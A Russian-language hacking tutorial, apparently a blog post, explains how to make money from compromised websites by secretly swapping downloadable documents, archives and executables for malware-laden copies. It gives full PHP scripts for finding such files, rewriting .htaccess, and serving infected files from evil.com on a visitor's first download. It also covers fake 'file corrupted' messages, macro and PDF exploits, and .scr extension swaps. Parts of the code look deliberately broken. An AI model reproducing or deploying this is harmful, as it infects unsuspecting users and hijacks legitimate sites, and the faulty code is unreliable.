Введение.
Существует много разных методов монетизации шеллов. Биржи ссылок, дорвеи, редиректы, спам через шеллы и т.д. Один из них - это добыча инсталлов. Через ифрейм вы сливаете трафик с сайта на связку сплойтов и получаете инсталлы софта. Это может быть софт партнерки или ваш собственный (лоадер, троян, что угодно).
У данного метода есть несколько минусов:
- Основные загрузки идут с IE, в разы меньше с Opera, FF. Chrome не пробивается.
- Аренда связок - это весьма не дешевое развлечение (день - 30$-150$, неделя - 150-750$, месяц - 500$-3000$, вилки цен из того, что есть в паблике). При этом никто не гарантирует, что вы отобьете свои затраты.
- Если вы не умеете сливать трафик, велик шанс убить шелл с концами.
- Низкий процент пробива (8-12%) и разный отстук со связки (вилка 40-95%) - нужно немало трафика, чтобы отбить аренду.
Поэтому этот метод мы оставим профи, которые могут спокойно оперировать большими объемами трафека и шекелей.
Новый старый метод.
Мы ищем на шеллах все файлы, которые годятся для впаривания инсталла. Если такие файлы на шелле есть, мы немного редактируем .htaccess (добавляем пару строк) и заливаем один скрипт (условно назовем его evil.php). В итоге пользователи при первом скачивании получают файл с нашего сервера, с тем же именем и расширением, что и оригинальный файл, однако с внедренным нами .exe.
При втором скачивании, пользователь уже получает оригинальный файл.
А мы получаем маленький, но стабильный поток инсталлов.
При втором скачивании, пользователь уже получает оригинальный файл.
А мы получаем маленький, но стабильный поток инсталлов.
Для наглядности, суть метода в виде схемы:
Я думаю, стоит отметить, что сайтов может быть сколь угодно много, а шелл, на котором находятся склеенные файлы - один. Это позволяет существенно сократить время на чистку файлов.
Как вы видите, у нового метода есть несколько неоспоримых плюсов:
- Без разницы, какой браузер используется (т.е. попадут все - IE, Chrome, FF, Opera...).
- Способ существенно дешевле чем использование связок.
- Палится только файл с сервера. Основной сервер (где склеенные файлы) не палится, т.к. нет обращения к нему через браузер пользователя.
- Легко автоматизировать.
Нельзя 100% предсказать, сколько будет загрузок - это зависит от шелла. Однозначно известно, что загрузки будут достаточно дешевыми и качественными.
Мы ищем на шеллах все файлы, которые годятся для впаривания инсталла.
Скрипт для поиска файлов:
Скрипт для поиска файлов:
<?php
// Настройки
// Директория, откуда стартует скрипт
// По идее надо положить в корень сайта
$directory = ".";
//Расширения, которые ищет скрипт. Если вы найдете еще типы файлов, в которые можно встроить свой код
тем или иным способом, вы можете добавить их расширения сюда.
$extensions = array (
"pdf", "exe", "zip", "rar",
"gz", "doc", "docx", "docm",
"xls", "xlsx", "xlsm", "ppt",
"pps", "pptm", "chm"
);
//Рекурсивная функция поиска файлов
function get_files($dir,$arr_ext){
$fileslist = array();
if($dh = opendir($dir)){
while (false !== ($file = readdir($dh))){
if($file == '.' || $file == '..'){
continue;
}
// По идее, если линукc - '/' если винда - '\\'
$path = $dir . '/' . $file;
if(is_file($path)){
$extension = mb_strtolower( array_pop(explode('.', $file)) );
foreach ($arr_ext as $ext){
if($extension == $ext){
$files_list[$ext][] = $path;
}
}
}
elseif(is_dir($path)){
$files_list= array_merge_recursive($files_list, get_files($path,$arr_ext));
}
}
closedir($dh);
return $files_list;
}
}
// Получаем список файлов
$loot = get_files($directory,$extensions);
//Тестовый вывод. Я юзал в PHP-консоли WSO. Вы можете переделать все под свой скрипт/софт.
print_r($loot);
Получив список файлов, мы можем решить, стоит ли вообще морочиться на этом шелле с подменой файлов (бессмысленно, если на шелле только код, стили и js-скрипты). Но не стоит забывать, что даже шелл, где находится всего один .xls-файл с прайс-листом фирмы, может принести много качественных инсталлов.
Вышеприведенный скрипт, вы можете использовать, чтобы чекать шеллы через вкладку php в WSO, либо через менеджер шеллов, либо вы можете его видоизменить и использовать в своем собственном софте.
Идем далее...
Если нужные нам файлы есть (а чаще всего они есть), то генерируем с помощью скрипта .htaccess.
Скрипт для создания .htaccess:
Скрипт для создания .htaccess:
<?php
//Имя основного скрипта
$evil_file_name = "evil.php";
//Добавляйте/убирайте расширения по своему усмотрению.
$extensions = array (
"pdf", "exe", "zip", "rar",
"gz", "doc", "docx", "docm",
"xls", "xlsx", "xlsm", "ppt",
"pps", "pptm", "chm"
);
$source = "RewriteEngine on\n";
$source .= "RewriteRule ^(.*?)\.(" .join("|",$extensions). ")$ ".$evil_file_name." [L]\n";
$fh = fopen(".htaccess","w");
fwrite($fh,$sоurce);
fclose($fh);
В принципе, можно обойтись и без этого скрипта (больше вставок кода - солиднее статья).
И наконец код того самого скрипта, который подменяет файлы.
Скрипт для подмены файлов (evil.php):
Скрипт для подмены файлов (evil.php):
<?php
$path = pathinfo($_SERVER['REQUEST_URI']);
$file = $path['basename'];
$full_name = substr($_SERVER['REQUEST_URI'],1);
// Вместо "./" можно прописать путь к корню сайта, если файл evil.php спрятан где-то в глубине папок.
// 1==0 ;-)
if(file_exists("./".$full_name) and 1==0){
switch($path['extension']){
case 'doc':
case 'docx':
case 'docm': $content_type ='msword';break;
case 'xls':
case 'xlsx':
case 'xlsm':$content_type ='vnd.ms-excel';break;
case 'ppt':
case 'pptm':
case 'pps':$content_type ='vnd.ms-powerpoint';break;
case 'zip':$content_type ='zip';break;
case 'rar':$content_type ='x-rar-compressed';break;
case 'gz':$content_type ='x-gzip';break;
case 'pdf':$content_type ='pdf';break;
default: $content_type ='octet-stream';break;
}
header('Content-type: application/'.$content_type);
header('Content-Disposition: attachment; filename="'.$file.'"');
//Если уже впаривали файл, то будет стоять кука, не мучаем и отдаем нормальный файл.
//Здесь можно дописать любые дополнительные проверки (браузер, ОС и т.д.).
if($_COOKIE['fooled']=='1'){
readfile($full_name);
}else {
//Ставим куку на год
setcookie ("fooled", "1", time() + 365 * 24 * 60 * 60 * 1000);
//Здесь мы тянем зараженный файл.
readfile('http://evil.com/evil'.$path['extension']);
}
} else {
header("HTTP/1.0 404 Not Found");
die("<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The
requested URL ".$_SERVER['REQUEST_URI']." was not found on this server.</p></body></html>");
}
Мы его помещаем в корень сайта (если вы хотите его спрятать поглубже, то нужно будет немного подредактировать .htaccess и сам код скрипта).
Что касается файлов, то как вы понимаете, нельзя ограничиваться подменой исключительно exe-файлов:
- .doc, .docx, .docm, .xls, .xlsx, xlsm, .ppt, .pps, .pptm - используем макросы, эксплоиты, или просто разводки.
- .rar, .gz, .tar, .zip - пихаем в архив наш .exe
- .pdf - эксплоиты
- .exe, .com, .pif, .scr - внаглую подменяем exe.
- .chm, .mht и еще с десяток расширений - способы внедрения своего кода ищите в Google, данная статья не посвящена склейке.
В некоторых случаях мы можем внаглую менять расширение - пользователь скачивает, к примеру, .doc, а мы ему отдаем файл с тем же именем, но уже с расширением .scr (на тот случай, если у вас нет никакого желания морочиться со склейкой, макросами, искать или покупать эксплоиты). Правда, знатно поебетесь с хромом.
Для пущей правдоподобности, после запуска склеенного файла, пользователь должен получить сообщение в духе "Файл был поврежден." или что-то наподобие (теми же макросами это легко реализовать). Тогда юзер скачивает тот же файл еще раз, и скрипт ему отдаст уже оригинальный файл с шелла. Все его сомнения относительно благонадежности сайта улетучатся как дым.
Для мобильных пользователей можно использовать заглушки вместо подмены. К примеру, вы не даете скачать файл, пока человек не примет смс или не установит мобильное приложение. В коде основного скрипта этого нет, но при желании вы это легко сможете дописать.
Комментарии
Отправить комментарий